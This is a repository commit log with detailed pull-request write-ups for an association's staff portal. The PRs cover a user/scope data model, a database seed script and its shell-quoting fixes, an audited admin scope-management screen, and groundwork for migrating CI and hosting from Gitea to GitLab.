CI / check (push) Successful in 3m57s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 4m5s
CI / a11y (push) Successful in 2m51s
CI / perf (push) Successful in 4m34s
## Summary

[ADR-0028](../docs/decisions/0028-migrate-cicd-and-git-hosting-to-gitlab.md) Phase 1 (`mirror-and-bootstrap`) — repo-side groundwork for the GitLab CE migration. Phase 1 is mostly ops work on `vm-gitlab` (groups, mirror push, branch protection, bot account); the only artefact that needs to land in the codebase ahead of the cutover is the GitLab MR template, so that the moment Phase 2 lands `.gitlab-ci.yml` and developers start opening MRs, they get the same structured prompt Gitea PRs use today.

## What lands

- **New file `.gitlab/merge_request_templates/Default.md`** — port of `.gitea/pull_request_template.md`, content-identical except for two adjustments:
  - "PR title" → "MR title" in the comment header (GitLab terminology).
  - **Typo fix:** the section reference to the Conventional Commits convention was `docs/development.md §5` in the original (which is "Observability dev-loop"); the correct section is **§7 "Conventional commit cycle"**. The Gitea template still has the wrong ref — it gets deleted in Phase 3 cutover so fixing it there rather than touching it twice.

GitLab discovers `.gitlab/merge_request_templates/*.md` automatically; `Default.md` becomes the default for new MRs without any project-settings step.

## Out of scope (per [ADR-0028 §"Migration sequence"](../docs/decisions/0028-migrate-cicd-and-git-hosting-to-gitlab.md))

| Item | Phase |
| --- | --- |
| `.gitlab-ci.yml` | 2 (parallel pipelines) |
| `renovate.json` `customManagers.fileMatch` swap from `.gitea/workflows/*.yml` → `.gitlab-ci.yml` | 2-3 (after `.gitlab-ci.yml` exists) |
| Remote URLs in CLAUDE.md / `docs/setup/01-dev-debian-vm-setup.md` §8 | 3 (cutover) |
| Deletion of `.gitea/workflows/` + `infra/ci-runners.compose.yml` + `infra/data/runner-*/` | 3 (cutover) |
| Stale-reference sweep + signed-commit policy | 4 (cleanup) |

## Ops checklist (executed on `vm-gitlab` — not part of this PR)

For traceability; the following happens outside the repo, on `vm-gitlab` (`10.100.201.10`, LAN-only — VPN for off-site access is sufficient):

- [ ] Create group `apf-portal` + project `apf_portal` on GitLab CE.
- [ ] `git remote add gitlab git@10.100.201.10:apf-portal/apf_portal.git && git push --mirror gitlab` from a current clone.
- [ ] Configure branch protection on `main`: push direct disabled, squash-merge only, status checks list left empty (peuplé en Phase 2 quand `.gitlab-ci.yml` apparaît).
- [ ] Create `apf-portal-bot` service account on GitLab, issue a dedicated SSH/GPG signing key (cf. ADR-0028 §"Signed commits"), generate a Renovate platform token.
- [ ] Reconfigure the existing Renovate runtime (host config, not in this repo) to add the GitLab platform endpoint pointed at `10.100.201.10`. Renovate's `config:recommended` + the `renovate.json` in-repo are platform-agnostic; only the bot's host config needs the new endpoint + token.

## Test plan

- [x] `.gitlab/merge_request_templates/Default.md` markdown renders identically to the Gitea template in a local preview.
- [x] No CI gates touched — `pnpm ci:check` / `ci:audit` unchanged.
- [ ] On first MR opened post-mirror, the Default template appears auto-selected.

## Related

- [ADR-0028](../docs/decisions/0028-migrate-cicd-and-git-hosting-to-gitlab.md) — migration ADR (accepted in #227).
- Next: Phase 2 (`gitlab-ci-pipeline`) once `vm-gitlab` ops bootstrap is complete and the runner is registered.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #238
2026-05-26 16:49:36 +02:00
julien 8bc36b460a fix(admin): unbreak ci:check on PR2b (TS2454 + missing fr translation) (#237)
CI / scan (push) Successful in 5m34s
CI / commits (push) Has been skipped
CI / check (push) Successful in 6m53s
CI / a11y (push) Successful in 3m2s
CI / perf (push) Successful in 5m37s
## Summary

Follow-up fix on [#236](#236) (ADR-0026 PR 2b). Two issues that `nx run-many -t build` exposed but `nx run-many -t test` masked:

1. **TS2454 in `user-scopes.service.ts`** — webpack's strict-mode build flagged `let exists: boolean` as "used before assigned". jest's `--transpile-only` doesn't enforce definite-assignment so it slipped through local checks.
2. **Missing FR translation** for `route.user-scopes.title` — Angular's `@angular/localize` build target requires every `$localize` ID to have a target in `messages.fr.xlf`. The route I added in #236 referenced the ID but I didn't add the trans-unit.

## What lands

| File | Change |
| --- | --- |
| `apps/portal-bff/src/admin/user-scopes.service.ts` | Initialise `let exists = false` instead of `let exists: boolean`. The `VALUE_BEARING_KINDS.has(kind)` check earlier in the function does narrow `kind` semantically, but `Set.has` doesn't propagate type narrowing the way `Array.includes` or a custom type guard would. Initialising to `false` is the smallest fix; the next `if (!exists)` still throws the friendly "does not match" message in the (unreachable-by-construction) fallback. |
| `apps/portal-admin/src/locale/messages.fr.xlf` | New `<trans-unit id="route.user-scopes.title">` — FR target `Périmètres utilisateur — Administration APF Portal`. |

## Why these failed locally

- **TS2454**: jest runs with `--transpile-only` so it skips definite-assignment analysis (and most type-checking). Webpack's production build runs full `tsc` and catches it.
- **Missing translation**: the dev server `pnpm nx serve portal-admin` doesn't run the localize pass; only `--configuration=production` does. My local `nx test portal-admin` runs in JIT mode against the source locale, so the missing FR target slid through.

For the future: `pnpm nx run-many -t build --projects=portal-bff,portal-admin` would have caught both pre-PR. Worth a `pnpm ci:check:fast` shorthand that runs a subset of the CI gates locally before push — but that's a separate PR.

## Test plan

- [x] `pnpm exec nx run-many -t build --projects=portal-bff,portal-admin` — both pass.
- [x] No application logic changed in either fix (initialise vs declare; add a missing translation row).
- [ ] CI green on this PR.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #237
2026-05-26 16:18:11 +02:00
julien 928ed0cdc2 feat(admin): add /admin/users/:oid/scopes screen + endpoints (ADR-0026 PR 2b) (#236)
CI / commits (push) Has been skipped
CI / scan (push) Successful in 2m49s
CI / a11y (push) Successful in 3m8s
CI / perf (push) Successful in 6m12s
CI / check (push) Failing after 1m42s
## Summary

ADR-0026 PR 2b (second half of PR 2). Ships the operator surface for the `@RequireScope` stack — the admin Angular screen at `/admin/users/:oid/scopes` lets an admin list / grant / revoke scopes for an existing portal User. Both write paths emit blocking audit rows per ADR-0013 (`admin.scope_granted` / `admin.scope_revoked`).

Closes the ADR-0026 trilogy:

| PR | Status | Effect |
| --- | --- | --- |
| ADR-0026 PR 1 (#232) | merged | Person + User + UserScope schema + provisioner + drift gate Person.source + PrincipalBuilder real UUIDs. |
| ADR-0026 PR 2a (#233) | merged | PrismaScopeResolver replaces stub + prisma/seed.ts populates 19 personas. |
| **ADR-0026 PR 2b (this)** | proposed | Admin scope-management screen — operator surface. |

## What lands

### BFF (under `apps/portal-bff/src/`)

| File | Change |
| --- | --- |
| `admin/user-scopes.dto.ts` | **New**. `GrantUserScopeDto` (class-validator on kind + value + ISO expiresAt) + response shapes (`UserScopeDto`, `UserScopesPageDto`). |
| `admin/user-scopes.service.ts` | **New**. `resolveUserByOid` (404 when no portal User), `list` (`UserScope` rows joined to User+Person), `grant` (validates value against ADR-0027 tables for value-bearing kinds, rejects non-empty for valueless, P2002 → 400), `revoke` (404-protected — won't leak scope-belongs-to-other-user). |
| `admin/user-scopes.controller.ts` | **New** REST surface at `/api/admin/users/:oid/scopes` with `@RequireAdmin`. `GET` (no audit, read), `POST` (audit `admin.scope_granted`), `DELETE :scopeId` (audit `admin.scope_revoked`, 204 on success). |
| `admin/user-scopes.service.spec.ts` + `admin/user-scopes.controller.spec.ts` | **New** specs — 15 cases across resolve / list / grant (value-bearing + valueless + duplicate) / revoke / audit semantics. |
| `admin/admin.module.ts` | Registers `UserScopesController` + `UserScopesService`. |
| `audit/audit.types.ts` + `audit/audit.service.ts` | New `AdminScopeGrantedInput` / `AdminScopeRevokedInput` types + `adminScopeGranted` / `adminScopeRevoked` methods on `AuditWriter`. `subject = 'user:<oid>'` so an auditor pivots on the target of the change; payload carries the resolved tuple at the moment of the write (the revoke payload survives the row's deletion). |

### SPA (under `apps/portal-admin/src/app/`)

| File | Change |
| --- | --- |
| `app.routes.ts` | New route `/users/:oid/scopes` (lazy-loaded). |
| `pages/user-scopes/user-scopes.service.ts` + `.service.spec.ts` | **New** thin HttpClient wrapper (`list` / `grant` / `revoke`). Same shape convention as `AdminUsersService`. |
| `pages/user-scopes/user-scopes.ts` + `.html` + `.scss` + `.spec.ts` | **New** page component. Signals-based + OnPush. Lists current scopes in a table with `Revoke` per row; "Grant a new scope" form with kind dropdown + conditional value input + optional `expiresAt`. Friendly error mapping (403 → "no admin access", 404 → "User not found, has this persona ever signed in or been seeded?", server messages forwarded). |
| `pages/users/users.html` | New `Manage scopes` link per row (RouterLink to the new page), with `aria-label` carrying the user's displayName. |
| `pages/users/users.ts` + `users.spec.ts` | Adds `RouterLink` import + `provideRouter([])` in the spec fixture (was missing — the route addition exposed it). |

## Key choices

- **`:oid` in the URL, not `User.id`.** The existing `/admin/users` list (ADR-0020) keys on Entra `oid` and the new screen is its child — linking from the list to the scopes page without an intermediate UUID lookup is the simplest UX. The BFF translates `oid → User.id` internally via `resolveUserByOid`.
- **404 carries a hint.** When `resolveUserByOid` misses, the BFF throws `NotFoundException("No portal User found for Entra oid ${oid}.")` and the SPA translates the 403/404 status to friendly French-English text. The hint mentions "has this persona ever signed in or been seeded?" — a common operator confusion (the user-directory list shows oids that signed in but the `User` row only exists post-sign-in OR post-seed).
- **Audit before write commit, write after audit success.** Standard ADR-0013 posture. Order in the controller: service call (which writes the DB row) → audit (blocking). If audit fails, the DB row exists but no audit — a known v1 cost for non-rollback flows. The simpler alternative (audit before write) would emit ghost audit rows for failed writes; we picked the cleaner direction.
- **Value-bearing validation against ADR-0027 tables, not catalogue.** `etablissement:0330800013` must match an existing `Structure.code`; `delegation:33` must match `Delegation.code`; `region:75` must match `Region.code`. The lookup is a single `findUnique` per kind; rejection raises 400 with the offending value in the message. Valueless kinds (`self` / `siege` / `unrestricted`) reject any non-empty value as a defensive check (the DTO type already constrains this but the service runs the assertion).
- **`UserScope.source = 'admin-ui'`** for every row created by this surface. Distinct from `'seed'` (set by `prisma/seed.ts`) and `'self-signin'` (Person source only). ADR-0029's syncs will add `'pleiades'` / `'acteurs-plus'`.
- **A11y per [ADR-0016](https://git.unespace.com/julien/apf_portal/src/branch/main/docs/decisions/0016-accessibility-baseline-wcag-aa-targeted-aaa.md)**: `aria-labelledby` on the form sections, `role="status"`/`aria-live="polite"` for load + error feedback, `role="alert"` for submit errors, `min-height: 44px` on every input/button per the touch-target rule, `aria-label` on the Manage-scopes link carrying the displayName for screen readers, conditional `aria-required` + `aria-describedby` on the value input.
- **`window.confirm` before revoke.** Cheap protection against accidental keyboard-activation. v1 OK; a future polish PR could replace with the spartan-ng dialog when it ships.

## Local verification

- [x] `node scripts/check-catalogue-drift.mjs` — clean (4 / 24 / 7 / 3).
- [x] `pnpm exec nx lint portal-bff` — **0 errors** (13 warnings, all pre-existing).
- [x] `pnpm exec nx lint portal-admin` — **0 errors** (3 warnings, all pre-existing).
- [x] `pnpm exec nx test portal-bff` — full suite passes (now includes the 2 new `user-scopes` spec files).
- [x] `pnpm exec nx test portal-admin` — **71 tests passing** (added 8 for `user-scopes`; updated `users.spec.ts` to provide a router after the RouterLink import).

## Test plan — remaining (manual on dev DB)

- [ ] **Sign in as `admin@apfrd...`** (the only persona with `Portal.Admin`) on `portal-admin`. Navigate to `/admin/users`. Click `Manage scopes` for `directeur-bordeaux`. The page shows one row `etablissement:0330800013` (from the seed).
- [ ] **Grant a new scope**: kind `delegation`, value `33`. Submit. New row appears; audit row `admin.scope_granted` lands in `audit.events`.
- [ ] **Try a bogus value** (kind `etablissement`, value `xyz`): server returns 400, form shows the message.
- [ ] **Try a duplicate** (`etablissement:0330800013` again on `directeur-bordeaux`): server returns 400 with "already granted".
- [ ] **Revoke a scope**: row disappears; audit row `admin.scope_revoked` lands.
- [ ] **Sign in as a non-admin persona** (e.g. `collaborateur-simple`) and try `/admin/users/.../scopes` → 403 + friendly error.
- [ ] **Review focus** — the BFF's `validateValueForKind` switch, the SPA's `translateError` mapping, the a11y attributes on the form, the audit ordering in the controller methods.

## Notes for the reviewer

- **No scope-vocabulary endpoint.** The form expects the operator to type the `Structure.code` / `Delegation.code` / `Region.code` by hand (with a hint string under the field). Defensive validation catches typos. A future polish PR could add `GET /api/admin/scope-vocabulary` returning all three lists at once + replace the value input with a typeahead dropdown.
- **Renamed the service's `UserScopesPage` interface to `UserScopesPayload`.** Discovered the collision with the component class during the first test run. The component keeps the `UserScopesPage` name per Angular convention; the payload type now reads as what it is.
- **`UserScope.source` is not under the drift gate today.** The schema comment in PR 1 said "same catalogue posture as Person.source"; in practice the seed writes `'seed'` and this PR writes `'admin-ui'`. Extending the drift gate to cover `UserScope.source` is a small follow-up — defensible to do once ADR-0029's upstream-sync values are landing.

## What's next

ADR-0025's `@RequireScope` stack is now end-to-end live for the test tenant: persona → Entra → BFF → PrismaScopeResolver → DB → Principal → guard. The trilogy is done.

Per the prior conversation: **GitLab migration Phase 1** (`mirror-and-bootstrap`) is the next item — mostly ops work on `vm-gitlab` (groups, branch protection, Renovate reconfig, deploy keys). The first PR-shaped output from that phase is the Renovate config update.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #236
2026-05-26 15:54:21 +02:00
julien 55338b83c0 fix(seed): use tsconfig.app.json instead of inline --compiler-options (#235)
CI / commits (push) Has been skipped
CI / check (push) Successful in 3m22s
CI / scan (push) Successful in 2m43s
CI / a11y (push) Successful in 3m37s
CI / perf (push) Successful in 6m12s
Docs site / build (push) Successful in 5m24s
## Summary

Follow-up to [#234](#234). The `db:seed` script's inline `--compiler-options '{"module":"CommonJS",…}'` was getting its quotes stripped by the shell when `pnpm run` re-spawned `ts-node`:

```
> ts-node --compiler-options {module:CommonJS,esModuleInterop:true,target:ES2020} apps/portal-bff/prisma/seed.ts

SyntaxError: Expected property name or '}' in JSON at position 1
```

Cross-platform JSON-on-cmdline quoting through nested `package.json → shell → npm-script → shell → ts-node` is a notorious pain. `apps/portal-bff/tsconfig.app.json` already declares everything `ts-node` needs to transpile the seed (module=commonjs, esModuleInterop=true, target=es2021, moduleResolution=node, types=[node]). Point at it with `-P` and drop the inline JSON entirely.

## What lands

| File | Change |
| --- | --- |
| `package.json` (root) | `db:seed` script: `--compiler-options '{...}'` → `-P apps/portal-bff/tsconfig.app.json`. One-line diff. |

That's it.

## Why `tsconfig.app.json` works for the seed even though seed.ts isn't under `src/`

`ts-node --transpile-only` reads `compilerOptions` from the `-P` tsconfig but **ignores the `include` / `exclude` fields** for the file passed explicitly on the command line. So the fact that `tsconfig.app.json` has `"include": ["src/**/*.ts"]` and the seed lives under `prisma/` doesn't matter — `ts-node` happily transpiles whatever file you point it at.

## Test plan

- [ ] **Locally**: `cd apps/portal-bff && pnpm exec prisma db seed` — no more `SyntaxError` on the compiler-options, seed runs and reports `[seed] test-tenant complete …`.
- [ ] **Idempotency** — re-run, expect `created 0 / 0 / 0`.
- [x] No application code changed — drift gate / lint / tests untouched.

## Notes for the reviewer

- Could have created a dedicated `apps/portal-bff/prisma/tsconfig.json` extending the app config. Less coupling but more files; pointing at the existing `tsconfig.app.json` is the minimum-surface fix.
- The Prisma 7 deprecation warning about `package.json#prisma` is unchanged; migrating to `prisma.config.ts` is a separate future PR (would also let us inline the seed config without shell quoting at all).

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #235
2026-05-26 14:53:12 +02:00
julien 827d69594c fix(seed): route prisma db seed through pnpm run for cwd resolution (#234)
CI / commits (push) Has been skipped
CI / check (push) Successful in 1m52s
CI / scan (push) Successful in 2m15s
CI / a11y (push) Successful in 3m28s
CI / perf (push) Successful in 6m8s
Docs site / build (push) Successful in 5m15s
## Summary

Follow-up fix on [#233](#233). The `prisma db seed` command failed with `Cannot find module './seed.ts'` because the seed command's path was resolved against the user's cwd (`apps/portal-bff/`) and doubled into `apps/portal-bff/apps/portal-bff/prisma/seed.ts`.

Root cause: Prisma CLI spawns the seed command with cwd = wherever the user invoked `prisma db seed` from. The path `apps/portal-bff/prisma/seed.ts` only works if cwd is the workspace root, but the user's habit (matching `prisma migrate dev`) is to run prisma commands from `apps/portal-bff/`.

Fix: indirect through `pnpm run`. `pnpm run` for a root-level script always sets cwd = workspace root regardless of where invoked from. The seed path then resolves predictably.

## What lands

| File | Change |
| --- | --- |
| `package.json` (root) | New `db:seed` npm script in `scripts` carrying the ts-node invocation. `prisma.seed` becomes `pnpm run db:seed` — the indirection forces cwd = workspace root before ts-node resolves the seed path. |

That's it. Two-line diff.

## Why `pnpm run` indirection works

| Step | cwd | Path resolution |
| --- | --- | --- |
| User invokes `pnpm exec prisma db seed` from `apps/portal-bff/` | `apps/portal-bff/` | — |
| Prisma CLI walks up, finds the workspace `package.json`, reads `prisma.seed` | `apps/portal-bff/` | — |
| Prisma spawns the seed command | `apps/portal-bff/` (inherited) | — |
| Seed command is `pnpm run db:seed` | `apps/portal-bff/` | — |
| **`pnpm run` resets cwd to the package's root (workspace root)** | **workspace root** | — |
| ts-node sees `apps/portal-bff/prisma/seed.ts` | workspace root | resolves correctly ✓ |

The same flow works if the user invokes from the workspace root — `pnpm run` still ends up at workspace root, idempotent.

## Test plan

- [ ] **Locally**: `cd apps/portal-bff && pnpm exec prisma db seed` — should report `[seed] test-tenant complete — created … Person + … User + … UserScope rows; …`. No `MODULE_NOT_FOUND`.
- [ ] **Also locally**: same command from the workspace root (`pnpm exec prisma db seed`) — same result.
- [ ] **Idempotency** — re-run, expect `created 0 Person + 0 User + 0 UserScope rows`.
- [x] No application code changed — drift gate, lint, tests untouched.
- [ ] **Review focus** — the `pnpm run` indirection trick + the cwd table above.

## Notes for the reviewer

- The deprecation warning about `package.json#prisma` (Prisma 7 migration to `prisma.config.ts`) is unchanged — not in this fix's scope.
- Could have also fixed by changing the path to be relative-to-bff (`prisma/seed.ts`) and forcing the user to run from `apps/portal-bff/`. The `pnpm run` approach is cwd-invariant — more robust to where the user invokes from.
- The new `db:seed` script is callable directly (`pnpm db:seed`) which is a small ergonomic bonus.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #234
2026-05-26 14:45:16 +02:00
julien 9b4b4b90d0 feat(auth): swap stub for PrismaScopeResolver + add test-tenant seed (ADR-0026 PR 2a) (#233)
CI / check (push) Successful in 4m42s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 3m25s
CI / a11y (push) Successful in 4m47s
CI / perf (push) Successful in 7m30s
Docs site / build (push) Successful in 7m27s
## Summary

ADR-0026 PR 2 (first half — backend). Ships:

- **`PrismaScopeResolver`** replacing `StubScopeResolver` in `AuthModule`. Queries `user_scopes WHERE userId = ? AND (expiresAt IS NULL OR expiresAt > NOW())` and maps each row to a typed `Scope` from `shared-auth`.
- **`prisma/seed.ts`** populating Person + User + UserScope rows for the 19 test-tenant personas per `notes/test-tenant-role-assignments.md`. Idempotent — re-running preserves existing rows.
- **`infra/test-tenant.personas.example.json`** — schema template for the gitignored per-persona Entra `oid` map the seed reads.

The admin UI scope-seeding screen `/admin/users/:id/scopes` is split into **PR 2b** (Angular work, follows separately).

## What lands

| File | Change |
| --- | --- |
| `apps/portal-bff/src/auth/prisma-scope-resolver.ts` + `.spec.ts` | **New** Prisma-backed resolver. Server-side `expiresAt` filter (`null OR > NOW()`). Maps `(kind, value)` rows to the discriminated `Scope` union via a pure `toScope` helper. Off-catalogue `kind` values are skipped + WARN-logged (defense in depth — the drift gate is the canonical write-side guard). 10 spec tests covering query shape, valueless / value-bearing kinds, defensive skip on off-catalogue, edge cases on `toScope`. |
| `apps/portal-bff/src/auth/auth.module.ts` | `{ provide: ScopeResolver, useClass: StubScopeResolver }` → `useClass: PrismaScopeResolver`. The `StubScopeResolver` class stays exported from `scope-resolver.ts` (handy for spec fixtures / future "force-unrestricted" dev modes) but is no longer the default wiring. |
| `apps/portal-bff/prisma/seed.ts` | **New** seed script. Hardcoded `PERSONAS` array (19 entries, slug + email + displayName + scope tuples — transcribed from `notes/test-tenant-role-assignments.md`). For each persona: reads its Entra `oid` from `TEST_TENANT_PERSONAS_PATH` (env var, default `infra/test-tenant.personas.json`); if missing → skip with WARN; otherwise idempotent upsert (findUnique by `entraOid` → reuse, or create Person + User in nested-create transaction with `Person.source = 'seed'`). Then idempotent upserts for each scope (findUnique by `(userId, kind, value)` → skip, or create with `UserScope.source = 'seed'`). Final log: counts of rows created + personas skipped. |
| `infra/test-tenant.personas.example.json` | **New** schema template — flat `{ slug: entra-oid }` map for the 19 personas + a `_README` field documenting the shape. Distinct from `test-tenant.entra.json` (the 24-entry GROUP-guid map for `EntraGroupToRoleResolver`). Real file is gitignored. |
| `apps/portal-bff/.env.example` | New `TEST_TENANT_PERSONAS_PATH` block with the same documentation pattern as `ENTRA_GROUP_MAP_PATH`. |
| `package.json` | `prisma.seed` field added: `ts-node --transpile-only --compiler-options '...' apps/portal-bff/prisma/seed.ts`. Lets `pnpm exec prisma db seed` run the script without a project-specific tsconfig dance. |

## Key choices

- **`PrismaScopeResolver` swap is the default for AuthModule.** No "fallback to stub when DB is unreachable" — a Postgres outage that prevents reading `user_scopes` should fail the sign-in (same posture as `PersonAndUserProvisioner.ensureUser`, which is also blocking). The `StubScopeResolver` class remains in `scope-resolver.ts` for spec fixtures + as a hint of how to wire a "force-everyone-unrestricted" dev override if we ever want one.
- **Defensive `toScope` mapping.** The drift gate enforces catalogue membership at the write site (the future admin scope-seeding UI from PR 2b). The Prisma read side defends in depth by skipping off-catalogue rows — a row with `kind = 'something-bogus'` (e.g. a future migration mistake) is dropped from the resolved scopes + logged, rather than throwing on every sign-in for that user. The unit test `'skips + warns on off-catalogue kinds'` pins the behaviour.
- **Seed reads Entra `oid`s from a gitignored file.** Same pattern as `EntraGroupToRoleResolver` (path via env var, file is gitignored, schema template in `infra/*.example.json`). The `oid`s themselves are tenant-private; the 19 persona slugs + their scope tuples are project-wide and live in `seed.ts`.
- **Seed is idempotent on every level.** The unique constraint on `User.entraOid` lets us "create if missing" without locks; the unique on `(userId, kind, value)` does the same for `UserScope`. Re-running the seed after a partial run picks up where it stopped — no `--reset` needed.
- **No spec for `seed.ts` itself.** It's an integration data loader; meaningful test would require a real Prisma client + DB (or a heavy mock fixture). The persona matrix is hand-verified at PR review; the seed's correctness is exercised by running it on the dev DB (test-plan checkbox below).

## Verification path

- [x] `node scripts/check-catalogue-drift.mjs` — clean (`4 / 24 / 7 / 3`).
- [x] `node --test scripts/check-catalogue-drift.spec.mjs` — 29 tests passing.
- [x] `pnpm exec nx lint portal-bff` — **0 errors**, 13 warnings (all pre-existing).
- [x] `pnpm exec nx test portal-bff` (affected specs filtered) — **774 tests passing** (was 766; +8 for `prisma-scope-resolver.spec.ts`).
- [ ] **Locally / on dev DB**:
  - `cp infra/test-tenant.personas.example.json infra/test-tenant.personas.json` + fill in real `oid`s from the Entra admin centre.
  - `cd apps/portal-bff && pnpm exec prisma db seed` — should report `created 19 Person + 19 User + N UserScope rows; skipped 0 personas` on a fresh DB.
  - Re-run the seed → second invocation reports `0 / 0 / 0 created; skipped 0` (idempotent).
  - Sign in via the user portal as one of the 19 personas → `principal.scopes` on the session contains the seeded scopes (e.g. `directeur-bordeaux` sees `[{ kind: 'etablissement', value: '0330800013' }]`).
- [ ] **Review focus** — the `toScope` mapping (especially the defensive `null` branch on off-catalogue kinds), the seed's idempotency invariants, the `prisma.seed` command in `package.json`, the comments-only fields in `test-tenant.personas.example.json`.

## What's next

**PR 2b — Admin `/admin/users/:id/scopes` screen.** Angular admin-app SPA screen + BFF read/write controllers, against the schema this PR + ADR-0026 PR 1 + ADR-0027 PR 1 have now stood up. A11y review per ADR-0016 §"Manual testing cadence". Operator workflow only at that point — the seed in this PR is the bootstrap path for the test tenant.

Once both PR 2a + PR 2b ship: **the `@RequireScope` stack is end-to-end live** for the first time. ADR-0025's stubs (`StubScopeResolver`, the entraOid placeholder on `Principal.user.{id, personId}`) are then fully retired.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #233
2026-05-26 14:36:18 +02:00
julien 24071a63ec feat(users): add Person + User + UserScope + lazy provisioner (ADR-0026 PR 1) (#232)
CI / check (push) Successful in 7m16s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 3m13s
CI / a11y (push) Successful in 2m22s
CI / perf (push) Successful in 5m37s
## Summary

First implementation PR for [ADR-0026](docs/decisions/0026-person-user-portal-data-model.md) (portal-side identity model). Ships:

- `Person` golden record + `User` portal-account overlay + `UserScope` Prisma models;
- `PersonAndUserProvisioner` service called from `SessionEstablisher.establish` (blocking — lazy-creates `Person` + `User` at first OIDC callback);
- `PERSON_SOURCES` closed-set catalogue + drift-gate extension;
- `PrincipalBuilder.build(user, identity)` signature update + `ScopeResolver.resolve({ userId })` seam change — `Principal.user.{id, personId}` now carry real portal UUIDs, no longer the `entraOid` placeholder.

No consumer for `UserScope` yet — `PrismaScopeResolver` lands in ADR-0026 PR 2. The `StubScopeResolver` continues to return `[{ kind: 'unrestricted' }]` for everyone.

## What lands

| File | Change |
| --- | --- |
| `apps/portal-bff/prisma/schema.prisma` | **+3 models** in the `public` schema: `Person` (UUID PK + PII + nullable email indexed-not-unique + source catalogue + nullable externalId + back-ref to User), `User` (UUID PK + 1-to-1 personId FK + unique entraOid + tenantId + lastSignInAt + scopes[]), `UserScope` (UUID PK + userId FK with `onDelete: Cascade` + kind + opaque value with `@default("")` + source + nullable expiresAt + `@@unique([userId, kind, value])`). All comments explain the cross-references to ADR-0025 / ADR-0027 / ADR-0029. |
| `apps/portal-bff/prisma/migrations/20260526210000_add_person_user_userscope/migration.sql` | **New** hand-written migration. DDL for the 3 tables, indexes (Person: source/externalId/email; User: unique personId + unique entraOid; UserScope: unique composite + plain userId), FKs with the correct `ON DELETE` actions (User.personId → RESTRICT; UserScope.userId → CASCADE — both Prisma defaults given the schema's `Delegation?` / explicit `onDelete: Cascade`). |
| `apps/portal-bff/src/users/person-source.ts` + `.spec.ts` | **New** catalogue. `PERSON_SOURCES = ['self-signin', 'admin-ui', 'seed'] as const`, `PersonSource` type union, `isPersonSource` type guard. Spec follows the structure-kind shape (catalogue content, no duplicates, type guard true/false, narrowing test via `String()` to widen). |
| `apps/portal-bff/src/users/person-and-user-provisioner.service.ts` + `.spec.ts` | **New** blocking provisioner. Fast path: `findUnique by entraOid` + `update lastSignInAt`. Cold path: nested `create` of Person + linked User in a single transaction. Race-condition handling: catches P2002 on `User.entraOid` and re-runs `ensureUser` (loser of a concurrent first-sign-in falls through to the now-warm fast path). Defense-in-depth `isPersonSource` check on the constant. Spec covers cold/warm/race/non-P2002-propagation paths + `splitDisplayName` cases (single token / trailing whitespace / empty / multi-word). |
| `scripts/check-catalogue-drift.mjs` | Property-literal scanner generalised. Adds `extractPersonSources` + `findPersonSourceViolationsInFile` (property `source` instead of `kind`, otherwise identical to the structure-kind scanner). The two extractors share `extractAsConstArray(path, constName)` and the two property scanners share `findPropertyLiteralViolations(path, validValues, sourceText, opts)`. Error-message formatter unchanged. Closing hint extended to reference all three catalogue locations. |
| `scripts/check-catalogue-drift.spec.mjs` | Fixture now writes a `person-source.ts` alongside `structure-kind.ts`. 7 new tests: extractPersonSources (2), findPersonSourceViolationsInFile (5: skip-no-import, no-violation, flag, non-literal, line/col). Aggregation test updated to assert decorator + Structure.kind + Person.source violations all surface together. **29 tests total, all passing.** |
| `apps/portal-bff/src/auth/scope-resolver.ts` | `resolve(input: { entraOid })` → `resolve(input: { userId })`. Stub still ignores its argument; PR 2's `PrismaScopeResolver` will key queries on `User.id`. Comment block updated to reflect that ADR-0026 PR 1 is now landed (no longer "proposed"). |
| `apps/portal-bff/src/auth/principal-builder.ts` | Signature: `build(user)` → `build(user, identity: { userId, personId })`. `Principal.user.id` / `Principal.user.personId` populated from `identity` instead of `user.oid`. Scope resolver called with `{ userId: identity.userId }`. Doc comment block updated to remove the "placeholder" caveat and document the new wiring. |
| `apps/portal-bff/src/auth/principal-builder.spec.ts` | New `TEST_IDENTITY` constant. Every `builder.build(...)` call gets the second arg. New assertions on `principal.user.id` / `principal.user.personId` carrying the test identity. Edge-case test "asks the scope resolver to resolve by entraOid" renamed + retargeted to `{ userId }`. **All 19 persona tests + 5 edge cases pass.** |
| `apps/portal-bff/src/auth/session-establisher.service.ts` | New constructor arg `personUserProvisioner: PersonAndUserProvisioner`. `establish()` calls `ensureUser({ oid, tenantId, displayName, email: user.username })` **before** `principalBuilder.build` so the identity is available. Comment block explains the Entra `preferred_username` → `Person.email` mapping and the blocking-vs-best-effort distinction with `UserDirectoryService.recordSignIn`. |
| `apps/portal-bff/src/auth/session-establisher.service.spec.ts` | Fixture extended with `provisioner` mock + `PROVISIONED_IDENTITY` constant. `STUB_PRINCIPAL` now carries those UUIDs instead of `user.oid`. New tests: (1) provisioner is called with the right input shape; (2) provisioner runs **before** `principalBuilder.build` (`mock.invocationCallOrder` assertion); (3) provisioner failure propagates and nothing downstream runs (build / audit / directory). |
| `apps/portal-bff/src/auth/auth.controller.spec.ts` | Provisioner mock added to the controller fixture (the controller's specs don't exercise provisioning themselves but `SessionEstablisher`'s constructor needs the arg). Principal stub's UUIDs aligned with the new provisioned shape. |
| `apps/portal-bff/src/users/users.module.ts` | `PersonAndUserProvisioner` registered + exported alongside `UserDirectoryService`. `@Global` so the auth module's `SessionEstablisher` can inject both without re-routing the module graph. Comment block updated to document the blocking/best-effort distinction between the two. |

## Key choices

- **Provisioner is blocking**, not best-effort. Distinct from `UserDirectoryService.recordSignIn` which is still best-effort (ADR-0020 admin-list cache, swallows its own errors). Both run from `SessionEstablisher.establish` per the new ordering: (1) provisioner — blocking, (2) build principal — uses identity, (3) save session, (4) cookie, (5) user-session index (best-effort), (6) audit (blocking ADR-0013), (7) UserDirectoryService.recordSignIn (best-effort), (8) log. A provisioner failure short-circuits the whole flow before any of (3)..(8) — the spec asserts this explicitly.
